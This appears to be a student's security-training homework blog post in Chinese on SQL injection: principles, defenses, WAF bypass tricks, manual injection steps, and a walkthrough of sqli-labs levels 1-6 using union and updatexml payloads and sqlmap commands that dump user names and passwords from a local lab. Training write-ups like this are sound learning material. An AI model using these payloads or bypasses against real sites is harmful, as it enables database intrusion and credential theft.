网安实训第五日作业

一、SQL注入

SQL注入原理

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

   SQL注入产生的条件
   1.传递给后端的参数是可以控制的
   2.参数内容会被带入到数据库查询
   3.变量未存在过滤或者过滤不严谨

SQL注入常用函数及含义

1.聚和函数

  group_concat(table_name)

    GROUP_CONCAT(column_name):告诉数据库将指定列的所有值连接起来。

    GROUP_CONCAT() 可以接收多个参数和选项来定制其行为,比如:

    指定分隔符:默认情况下,GROUP_CONCAT() 使用逗号(,)作为分隔符来连接值。你可以通      过 SEPARATOR 关键字来指定一个不同的分隔符。
    排序:你可以在 GROUP_CONCAT() 内部使用 ORDER BY 来定义连接值的顺序。

  concat(str1,str2,str3)       连接字符串的函数

2.数据截取函数

  substring() and mid() and substr()      三个mysql自带的数据截取函数

3.报错函数

  利用extractvalue()函数进行报错注入

    extractvalue()函数为MYSQL对XML文档数据进行查询的XPATH函数。

    语法: extractValue(xml_document, xpath_string);

    第一个参数:XML_document是String格式,为XML文档对象的名称,

    第二个参数:XPath_string (Xpath格式的字符串);

    Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行        后报错

  利用updatexml()函数进行报错注入

    updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

    语法:UPDATEXML (xml_document, XPathstring, new_value)。

    第一个参数:xml_document,文档名称。

    第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

    第三个参数:new_value,String格式,替换查找到的符合条件的值。

  利用floor()函数进行报错注入

    主要报错原因为:count()+rand()+group_by()导致主键重复。

    因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取        数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,      则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行      的数据。

4.延时注入用到的函数

  if函数                      if(expr1,expr2,expr3)     如果expr1判断为真,则返回expr2值,否则expr3的值

  sleep()函数             sleep(duration)  这个函数的作用就是休眠,参数是休眠的时长,以秒为单位

  ord()函数                 ord(character)函数是返回一个字符的ASCII码。

  length()函数            length(string)函数是否返回一个字符串的长度。

SQL注入防御手段

  1.使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,因此可以避免注入攻击。

  2.使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。

  3.使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。

  4.验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。

  5.使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。

  6.限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户,这样即使发生注入攻击,攻击者能做的也非常有限。

  7.定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。

  8.使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。

  9.定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。

  10.使用参数化查询:无论何时,只要可能都应该使用参数化查询,而不是拼接SQL字符串

SQL注入常用绕过waf的方法

方法1:变换大小写

比如WAF拦截了union,那就是用Union、UnIoN等方式绕过。

方法2:编码

WAF检测敏感字‘~’,则可以用编码0x7e代替
WAF检测敏感字select,则可以在URL中将select变成%73elEcT,编码接合大小写变换绕过WAF
可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替换空格

方法3:利用注释符

适用于WAF只过滤了一次危险的语句,没有阻断整个查询语句的场合。
原查询语句为:?id=1 union select 1,2,3 对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,

?id=1/*union*/union/*select*/select 1,2,3

方法4:重写

适用于WAF只过滤一次敏感字的情况
WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3

方法5:比较操作符替换

适用于某一比较操作符(如等号)被过滤的情况

!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过。

/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
 
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75

WAF将=、>、<、全部过滤,则可以利用like来绕过 

?id=1' or 1 like 1

方法6:同功能函数替换

适用于某一函数被过滤的情况。
假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr等函数来替换,都是用来取字符串的某一位字符的。

原查询语句

substring((select 'password'),1,1)=0x70

替换后的查询语句

substr((select 'password'),1,1)=0x70
mid((select 'password'),1,1)=0x70

方法7:盲注的活用

适用于页面无回显或多种函数、逻辑运算符被过滤的情况

strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,则函数返回0,expr1<expr2则返    回-1,expr1>expr2则返回1。

假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是

正确的。否则就说明不是B,这样猜就不用and和or了。

二、SQLi手工注入的步骤

1.识别注入点

测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号 '),观察系统的响应。
查看URL和表单参数:检查URL中的参数和HTTP请求的表单字段,尝试修改或添加SQL注入载荷。

2.确定注入点是否有效

错误消息:观察是否有数据库错误消息返回,这些错误消息可以揭示数据库的类型和结构。
布尔型测试:通过注入布尔型条件(如 1=1 或 1=2)来验证是否能改变查询的逻辑结果,从而判断是否存在注入漏洞。
时间延迟测试:使用时间延迟函数(如 SLEEP(5))来验证是否能通过时间变化判断注入的有效性。

3.探测数据库结构

查询数据库版本:通过注入语句获取数据库版本信息。
获取表名:使用注入语句提取数据库中的表名。
获取列名:确定表结构,通过查询获取列名。

4.数据提取

提取数据:根据获取的表和列信息,构造注入语句提取具体数据。
联合查询:使用 UNION 语句将注入的数据与正常数据结合,从而提取更多信息。

5.绕过安全措施

编码绕过:对注入载荷进行编码(如 URL 编码、十六进制编码)来绕过应用的过滤器。
盲注:在没有直接反馈的情况下,通过逻辑推测和时间延迟来获取信息(盲注分为基于布尔值的盲注和基于时间的盲注)。

6.后续步骤

漏洞验证:确认注入点的确存在漏洞,确保测试结果的一致性。
修复建议:提出修复建议,如使用参数化查询、准备语句等防止SQL注入的措施

三、sqli-labs 1-6关

第一关

输入?id=1,发现存在注入点

输入and 1=2测试,页面回显正常,则此处不是数值查询

在?id=1后加上‘,发现页面回显不正常,则可能存在SQL字符注入

输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

接着使用order by 语句判断,该表中一共有几列数据

  order by 3页面回显正常,order by 4页面回显不正常,说明此表有3列

使用联合查询,判断回显位置

?id=-1'union select 1,2,3--+

获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。 

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来就要得到该字段对应的内容。(id用来分隔账户和密码)

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

输入单引号和双引号都报错,所以猜测是数字型注入

参考第一关的步骤,判断此表有三列

?id=1 order by 3

使用联合查询,判断回显位置:

?id=-1 union select 1,2,3

获取数据名和版本号

?id=-1 union select 1,database(),version()

得到两个敏感字段username和password

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

得到该字段内容

?id=-1 union select 1,2,group_concat(username ,id , password) from users

第三关

输入?id=2'测试报错,推断sql语句是单引号字符型且有括号

使用')闭合,不再报错

判断数据库中当前表存在3列

?id=1') order by 3--+

联合查询判断回显位置为2,3

?id=-1') union select 1,2,3--+

获取数据名和版本号

?id=-1') union select 1,database(),version()--+

使用information_schema查询表名,字段,内容

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

输入?id=1"测试报错,推断sql语句是双引号字符型且有括号

使用”)闭合,不再报错

判断数据库中当前表存在3列

?id=1") order by 3--+

联合查询判断回显位置为2,3

?id=-1") union select 1,2,3--+

获取数据名和版本号

?id=-1") union select 1,database(),version()--+

使用information_schema查询表名,字段,内容

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关

测试判断为字符型 ’ 闭合,且不适合联合注入,可以使用updatexml()函数

依次爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

发现只有1列 加入参数:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

最后爆出用户名,密码

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(password)from users),0x7e),1) --+

第六关(sqlmap)

测试是否存在SQL注入点

python sqlmap.py -u localhost/sqli/Less-6/?id=1

结果显示id变量存在注入点,注入方法可以是布尔盲注,报错注入或时间盲注

爆当前数据库名

python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL --current-db

爆表名

python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL -D ’security’ --tables

爆字段

python sqlmap.py -u localhost/sqli/Less-6/?id=1 --dbms=MySQL -D ’security’ --tables -T ‘users’ --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值